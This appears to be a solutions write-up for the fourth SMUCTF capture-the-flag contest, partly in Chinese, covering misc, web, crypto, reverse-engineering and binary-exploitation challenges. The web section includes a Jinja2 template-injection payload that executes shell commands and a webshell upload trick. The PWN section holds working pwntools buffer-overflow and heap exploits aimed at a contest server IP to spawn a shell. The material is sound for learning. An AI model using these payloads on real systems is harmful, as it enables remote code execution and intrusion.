I am honored to witness the four SMUCTF,and I have learned a lot from being a contestant to a questioner.
This is the stage for our youth and the world where we display our talents. Here, we shed sweat, leave laughter, and gain knowledge and friendship. I hope you don't miss what's happening around you or what's going to happen, and please appreciate the little beauty in it!
Misc
一、checkin
欢迎参加第四届网络安全大赛!请开始你的挑战吧~
你要做的就是在我们给你的文件或者链接中找到flag并将它提交到答题平台,例如本题的flag为flag{Welcome_T0_the_4th_SMUCTF}
二、Girls and cats
打开压缩文件,发现压缩文件中存在一个readme.txt文件,和题目提供的另外一个文件名一致,猜测是明文攻击
对readme.txt文件进行压缩(压缩工具对明文攻击能否爆破成功有影响),压缩完后再对比一下CRC32校验值,一样则说明是同一个文件,使用ARCHPR进行明文攻击得到压缩包密码
最后解压,查看图片属性得到一串base64编码的字符串,解码得到flag
三、width
首先很明显能听出来是电话音,于是dtmf解出压缩包密码:220201152007
接着binwalk+foremost得到一个压缩包
最后爆破图片宽度修改一下得到flag
import binascii
import struct
crcbp = open("flag.png", "rb").read()
for i in range(15000):
for j in range(15000):
data = crcbp[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == 0xE283C5BF:
print(i, j)
print('hex:', hex(i), hex(j))
# 1044 150
# hex: 0x414 0x96
四、GIFQR
gif逐帧分离,得到三张有用的二维码,但是需要进行一些处理
- 定位点修复
①.首先修复出一个完整定位点,使用ps中的矩形工具,挡住表情包,在右边的属性栏找到填色,设置为黑,描边关闭或设置为白,最后在图层栏选择矩形1,右键选择合并可见图层
②. 使用矩形框选工具,把整个定位点框选,然后右击选择通过拷贝的形状图层,拷贝两次
③. 将两个定位点移动到修复位置,ps有一定的自动对齐功能,大概位置正确即可
- 透视图形修复
①. 点击剪裁工具后右键选择透视剪裁工具
②. 选中二维码四角
③. 在使用移动工具调整图片到正常比例
3.内容修复
根据图像,用QRazyBox工具,补全二维码,应为容错等级高,所以被表情遮挡的内容不需要还原
五、hacker
首先导出 HTTP 流量包
导出后分析可知在 hacker(6).php 中通过URLDecode →base64 解密(删除前两个字节)得到关键信息:
cd "/www/wwwroot/gogoshop.com";zip -r -Piamhacker flag.zip flag.txt;echo c5a258bb;pwd;echo e974998c3a
得到压缩包解压密码为:iamhacker
在 hacker(13).php 中发现PK头得知是压缩包,通过010打开将其复制到新建的16进制文件中
最后解压得到flag
六、屠龙勇士
原本这题设计是一开始有个python伪随机数的,后面考虑比较难就给舍弃了
首先是sstv扫描出图片
扫描得到第一段密钥0HHH_C00L_
第二段在末尾有一段莫斯电码,解出是第二段密钥Y0U_G0T_ME
最后使用silenteyes解密出flag
七、SHOHOKU
图片隐写套娃题
binwalk+foremost分离→盲水印→wbs43open→silenteye→cloacked-pixel→outguess→steghide→F5→JPHS
八、reflection
010或者winhex打开发现文件为jpeg,并在最底下发现base64编码的字符串
接着base64解码可以发现是倒过来的压缩包的十六进制
然后得到一个加密包,爆破得到压缩包密码:205009,进而得到flag
WEB
一、F12
禁用了F12和右键,只能通过view-source:查看或者抓包一下,在注解处得到flag
二、XFF
首先根据题目描述试一下常见目录,在robots.txt目录下得到一半的flag
接着根据提示,将xff设为1.1.1.1得到另外一半flag
三、MD5
弱类型比较
四、反序列化
<?php
$a = new stdclass();
$a->d=&$a->c;
echo serialize($a);
?>
# O:8:"stdClass":2:{s:1:"c";N;s:1:"d";R:2;}
五、ball
代码审计
what's your like ball?
可以二次覆盖 重新获取值
六、upload
先传个写入一句话木马的图片,然后得到图片路径
然后穿user.ini,里面写这个图片的路径,上传得到user.ini打地址
最后访问user.ini目录的index.php,得到flag
七、sql
八、ssti
使用类似{{"test"}}的payload进行测试,发现过滤的字符如下
write
config
etc
base
[
'
read
常用的payload如下:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
题目会将敏感词替换为*,我们可以用__mro__
替换__base__
来绕过base
,利用b.eval
替换b['eval']
绕过[
,利用request
获取post发送的值替换'__import__("os").popen("id").read()'
来绕过read
具体步骤如下:
1.找到object
使用__class__
获取类的类型,之后通过__mro__
查看继承顺序,最后使用__getitem__()
拿到object
:
2.拿到object后就好说了,对普通payload稍加改造就可以
http://175.178.102.149:1008/
{% for c in "".__class__.__mro__.__getitem__(2).__subclasses__() %}
{% if c.__name__ == "catch_warnings" %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if "eval" in b.keys() %}
{{b.eval(request.values.code)}}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
# POST发送
code=__import__("os").popen("id").read()
CRYPTO
一、Base大家族
常规思路并且很明显可以看出来是base64 → base32 → base16
二、认真的雪
很明显需要通过1.docx得到2.docx的密码
首先将1.docx改成.zip,在word目录下发现password,打开后Brainfuck解密得到密码
然后打开2.docx,在各种题目暗示下可以知道是snow隐写,显示隐藏文字即可发现
最后根据题目描述snow隐写的密码就是word的密码将其复制到文本中解密即可得到flag
三、xor
简单异或,考察写脚本的能力
t = 'flag'
c = b"\x1e\x01\x00\t\x034\x0e\x1b'\x0b\x08\x00\x1c2V\x06\x1d2\x12\x0b\x1b\x1f\x04\x1a']\x071\x00]\x13\x13"
for i in range(4):
print(chr(c[i]^ord(t[i])),end='')
key = 'xman'
print()
l = len(c)//4 + 1
t_key = key*l
c = bytes([i ^ ord(j) for i, j in zip(c,t_key)])
print(c)
四、ezcry
根据题目描述猜测 flag通过培根加密,栅栏加密,和某种base得到密文 观察密文很像少见的base58 ,所以先base58解密再栅栏和培根解密即可得到flag
五、asr
按照欧拉函数求多因数rsa的phi,再解密
from gmpy2 import *
from Crypto.Util.number import *
p = 8391242257294406063505527061814121492343569663481885890484470106743494280611016525805465845981772082141642954225930854917974107720342353743738201986663379
q = 6920364648388444977713920260745955799404039811035045631085096302746009508674392957431092889490782702395210358426722027223682819905807627215153414931559457
r = 7517109340282224641953344665880422891030760565122630991812838424349171161528070506665683983395274853878890511182226533991063849476657152961762996085870989
s = 10175261853504626539535727123541176380795070851738919004439887910079284908723157730485852482382214071325754127913350694669087912701645183748675096136891223
c = 2040446364831576029544749082486062313401979642724785624725925884284903220520441423866860942231266715079366385045008457000633101682572416840326843641518165257036392372208375525711729619063290977693788578026185017922662263681240536204755382730961863270536801158885023568618124077033230819756941287319195585328043261440617928643958121153384971016302888236382701082764036561515072499795073172733085915296848644199575345295536309274126068022740932305640208242409507493000460701030512212206856076682782932565402770404232402689588391966717130875389307210665171347947309492000352500604246678864884624054759221696222767749602078313731944608302063109854924449343498232190469581542790965772396312459268598338723377391283547157593543572277031893773902364817137124701090711507535075786893268357212799826430195501225745181417259708912461274569133153399040598675693229535178988002442426558521428178490073989410576984600171593740837823541008858900405833722987615291821598866947407327266550027157097061577259615692729940812275673961040040670252549574643998654457260591025388442348485200073299330
n = p**2*q*r**3*s
e = 65537
phi = (q-1)*(s-1)*p*(p-1)*r**2*(r-1)
d = invert(e,phi)
print(long_to_bytes(pow(c,d,n)))
六、EZ_RSA
已知x为1024位质数,p为11x的下一个质数,q为23x的前一个质数,也就是p与11x的差距很小,q与23x的差距也很小,那么可以通过p*q=n这一关系先计算出x的近似值:
即利用:11 x 23 * x = n
得到x近似值x':
然后可以在x’的较大邻域进行爆破获得真实的x值,以及p值:
for i in range(-100000,100000):
p = 11*x+i
# 当n和p公因子不为1的时候,得到p的真实值
if gmpy2.gcd(n,p)!=1:
#print(p)
break
得到x以后可以求出p、q,phi,由于e是偶数和phi不互素,需要先求e和phi的最大公因子t,d = invert(e//t,phi),最后用d解密:
for i in range(-100000,100000):
#求出q,phi(n)
q = n//p
phi = (p-1)*(q-1)
#e为合数,需要先求出e和phi的最大公因子,用除去最大公因子后的e对phi求模逆得到私钥d
t = gmpy2.gcd(phi,e)
d = gmpy2.invert(e//t,phi)
# c^d mod n 得到m的t次方,开根得到m
m = gmpy2.iroot(pow(c,d,n),t)[0]
print(long_to_bytes(m))
七、Pell
第一个式子和第三个式子的差如下
y ** 9 - x ** 6
分解因式后得到
(x ** 2 + y ** 3) * (x ** 4 - x ** 2 * y ** 3 + y ** 6)
发现符合佩尔方程的定义,可以由此解出x和y
x = Int("x")
y = Int("y")
s = Solver()
s.add(x ** 2 + y ** 3 == A)
s.add(x ** 4 - x ** 2 * y ** 3 + y ** 6 == B)
s.add(y > 0)
if s.check() == sat:
m = s.model()
x = m[x].as_long()
# 7285043097912720675016158197
y = m[y].as_long()
# 3794494741579279495149281093
print("x: " + str(x))
print("y: " + str(y))
通过原式解出z后就可以获得p和q
附上exp:
from z3 import *
import gmpy
import sympy
c = 866707674736220357444245838952394163960321760057326545128241291294257501635173094384690739257077715568789966356035792288267521605769977983027270061255063183267635082504993469531429844593828509049001655392019985157587401928427625963878710255962134625674567307913972934028800773083388283518251425673297670198873040417883530242166827820423828466940600452728069943295321244321160509501416344830119037047351419988083554078735850267744528929125825765327498414911466304716064362280913888661615091578167437645633838395206238343627875716629107620869152243936334829814586943600741025702807192675843100180454359272193616852534566367152051717687168572407947429460524064481430770966339787802885401818895955510532135255046557138211022704301090713869765429403504596530317888080738810016290848695324908712509291
A = 22760640240275011709270809855574317191231718585128262830058174024379966531 * 2 * 3 * 71 * 5634661
B = 690746832787080415717842785816881389692209632076992626573930037002581297196983129022480951974982803274414106285374332269456496745676560507319574181630903683 * 3 * 19 * 151 * 502057
x = Int("x")
y = Int("y")
s = Solver()
s.add(x ** 2 + y ** 3 == A)
s.add(x ** 4 - x ** 2 * y ** 3 + y ** 6 == B)
s.add(y > 0)
if s.check() == sat:
m = s.model()
x = m[x].as_long()
# 7285043097912720675016158197
y = m[y].as_long()
# 3794494741579279495149281093
print("x: " + str(x))
print("y: " + str(y))
x = 7285043097912720675016158197
y = 3794494741579279495149281093
z = Int("z")
s = Solver()
s.add(3 * z - x ** 6 + y * z == -149483325975565436807263592905156428557050209795686721906938253263055242439538933056410244207231037014114592441331871056943997324413216777528806960408142023584600015233)
s.add(x ** 3 + y ** 7 + x * y * z == 11326029467430598336551942828341915229671533561193583273365063515089095549293508116772803696444078928131425394498315031815261692721908241388661513840041252666440932061628277583082359955524040751)
s.add(y ** 9 + 3 * z + z * y == 163074328112378067363251891719892271598408187267753678756157405177088217061656827884196262350304037027344282698697518980719806107428464252657103112948511296886090479118533459097251828938284112396254354772031698480043354824668396252417403314983546189)
if s.check() == sat:
m = s.model()
z = m[z].as_long()
print("x: " + str(x))
p = sympy.nextprime(x ** 11 + z ** 13 + y ** 15 << 76)
q = sympy.nextprime(z ** 12 + y ** 13 + (y * x * z) ** 2 ^ 789)
d = gmpy.invert(31337, (p - 1) * (q - 1))
print(bytes.fromhex(hex(pow(c, d, p * q))[2:]).decode())
八、神奇的密码
Java异或
import java.nio.charset.Charset;
public class DeEnCode {
private static final String key0 = "2022.7.25";
private static final Charset charset = Charset.forName("UTF-8");
private static byte[] keyBytes = key0.getBytes(charset);
public static String decode(String dec){
byte[] e = dec.getBytes(charset);
byte[] dee = e;
for(int i=0,size=e.length;i<size;i++){
for(byte keyBytes0:keyBytes){
e[i] = (byte) (dee[i]^keyBytes0);
}
}
return new String(e);
}
public static void main(String[] args) {
String dec = decode("T^SUIAJAESSO");
System.out.println(dec);
}
}
REVERSE
一、re1
拿到文件,ida64打开,并找到主函数如下,得到flag
二、re2
根据提示,我们知道题目为魔改的base64加密,ida打开找到主函数:
其中第14行是最后check判断的密文,第20行的base64Encode函数为base64加密函数:
发现整个函数逻辑为正常的base64加密过程,找到第23行的unk_489084,双击打开:
在里面找到了base64变表:
AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0987654321/+
直接CyberChef解密即可得到flag
三、re3
根据提示,不难看出该题存在加密过程,先用ida打开,找到主函数:
其中第12行的rc4_crypt不难看出是rc4加密,我们只需找到密文和密钥解密即可
通过对主函数和rc4_crypt函数的观察可以发现,”anhuishuiwu”是我们需要的密钥,并且我们通过查看汇编语言:
发现一串可疑的数据,这些数据是在加密之后进行了check,由此判断为密文(实在看不出来的话可以用假设法,假设它是密文看能不能解出来flag,逆向三分靠写,七分靠猜),我们有了密文和密钥,直接脚本解密即可得到flag
#include<stdio.h>
/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}
/*
RC4加解密函数
unsigned char* Data 加解密的数据
unsigned long Len_D 加解密数据的长度
unsigned char* key 密钥
unsigned long Len_k 密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] = Data[k] ^ s[t];
}
}
void main()
{
//字符串密钥
unsigned char key[] = "anhuishuiwu";
unsigned long key_len = sizeof(key) - 1;
//数组密钥
//unsigned char key[] = {};
//unsigned long key_len = sizeof(key);
//加解密数据
unsigned char data[] = { 0x9b,0x50,0xd5,0x12,0xa9,0x5c,0x4e,0xd8,0x18,0x80,0x2d,0xbb,0xef,0x39,0x55,0x1f,0x8f,0xa4,0x63,0x34,0x18,0xec,0x56,0x26 };
//加解密
rc4_crypt(data, sizeof(data), key, key_len);
for (int i = 0; i < sizeof(data); i++)
{
printf("%c", data[i]);
}
printf("\n");
return;
}
四、app1
下载好题目,拖入夜神中,打开如下所示:
查壳,发现无壳,用jeb反编译后,找到关键字验证失败所在类,发现调用了so层的 CheckString函数进行了验证,传进去的参数为我们在输入框中输入的字符串,如下图所示:
用IDA打开so文件(要提取x86文件夹下面那个so文件,两个arm文件夹下面的so文件用ida打开 有问题),找到该静态函数,直接F5大法,静态分析该函数可知:首先将传入的字符串前16位与后16位 互换,然后两两一组互换位置,最后将得到的字符串与字符串f72c5a36569418a20907b55be5bf95ad比 较返回比较结果!!!
写了一个python小脚本跑出flag,如下所示:
string = 'f72c5a36569418a20907b55be5bf95ad'
strlist = list(string)
k = 0
for i in range(16):
ch = strlist[1 + k]
strlist[1 + k] = strlist[0 + k]
strlist[0 + k] = ch
k = k + 2
k = 0
for i in range(16):
ch = strlist[0 + k]
strlist[0 + k] = strlist[16 + k]
strlist[16 + k] = ch
k = k + 1
print(''.join(strlist))
# 90705bb55efb59da7fc2a5636549812a
PWN
一、nc
nc连上后直接cat flag即可
二、ret2libc1
改程序中存在 /bin/sh\x00 字符串,以及存在system函数,而在gets函数中,并没有限制长度,同样是32位的程序,只开了nx保护,只需要在ida中找到 /bin/sh 字符串的位置,并调用system的plt表即可
from pwn import *
#io = process('./pwn')
io = remote("175.178.102.149", 10002)
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = b'a' * 112 + p32(system_plt) + b'b' * 4 + p32(binsh_addr)
io.sendline(payload)
io.interactive()
三、ret2libc2
程序中的漏洞还是和前面几题一样,只不过程序中有system函数,但是没有了 /bin/sh\x00字符串,不过可以手动读入字符串,通过工具 ROPgadget 寻找出程序中的gadget,并将 /bin/sh 字符串通过溢出手动调用gets读入,最后调用system函数的plt表即可
from pwn import *
#io = process('./pwn')
io = remote("175.178.102.149", 10003)
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = b'a' * 112 + p32(gets_plt) + p32(pop_ebx) + \
p32(buf2) + p32(system_plt) + p32(0xdeadbeef) + p32(buf2)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()
四、ret2text
打开ida进行反汇编,可以发现gets函数输入时,并没有限制长度,buf的位置到ebp距离0x6c,所以直接溢出0x6c的垃圾数据到ebp,再溢出4字节(4字节是因为程序是32的,程序的位数可以用file命令查看)覆盖ebp
由于程序只开了NX保护(使用 checksec 命令查看),所以直接在ida中找到程序中后门函数的位置,并设置为返回地址即可
from pwn import *
#io = process("./pwn")
io = remote("175.178.102.149",10004)
context.log_level = "debug"
payload = b"a" * 112 + p32(0x804863a)
#gdb.attach(io, "b system")
io.sendline(payload)
io.interactive()
五、ezheap
经典的堆溢出,unlink造成任意地址读写,修改got表 getshell
from pwn import *
#io = process("./pwn")
io = remote("175.178.102.149", 10005)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = "amd64"
context.log_level = "debug"
def add(size, content):
io.sendlineafter("Your Choice: ", "1")
io.sendlineafter("please tell me how much you want to have:", str(size))
io.sendlineafter("Content:", content)
def delete(idx):
io.sendlineafter("Your Choice: ", "2")
io.sendlineafter("Please give me idx:", str(idx))
def edit(idx,content):
io.sendlineafter("Your Choice: ", "3")
io.sendlineafter("Please give me idx:", str(idx))
io.sendafter("What do you want?",content)
def show(idx):
io.sendlineafter("Your Choice: ", "4")
io.sendlineafter("Please give me idx:", str(idx))
add(0x200, "/bin/sh\x00")
for i in range(9):
add(0x200, "/bin/sh\x00")
for i in range(7):
delete(i)
delete(8)
show(8)
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.symbols["__malloc_hook"]
fd_ptr = libc_base + 96 + 0x10 + libc.symbols["__malloc_hook"]
success("libc base is leaked ==> " + hex(libc_base))
sys_addr = libc_base+libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
edit(6, p64(free_hook))
add(0x200, "/bin/sh\x00")
add(0x200, p64(sys_addr))
delete(9)
io.interactive()
六、GiveAtry
很明显的栈溢出,有个比较字符串,覆盖一下就行了
from pwn import *
#io = process("./pwn")
io = remote("175.178.102.149",10006)
io.sendlineafter(" `-../____,..---'`", b"a" * 0xf + b"become_it")
io.interactive()
七、easystack
第二个read有溢出可以直接更改栈上数据
from pwn import *
#io = process("./pwn")
io = remote("175.178.102.149",10007)
context.log_level = "debug"
io.sendlineafter("Please Enter Your Name:", b"deadbeef")
io.sendafter("Please Enter Your Age:", b"a" * 0xf8 + p32(20200202))
io.interactive()
八、game
强行接收然后机器算
from pwn import *
#io = process("./pwn")
io = remote('175.178.102.149', 10008)
io.recvuntil(b':)\n')
io.send(p32(3735928559))
io.recvline()
for i in range(1000):
a = io.recvuntil(b'= ?').replace(b'= ?', b'')
print(a)
ans = eval(a)
io.sendline(str(ans))
io.interactive()
0 条评论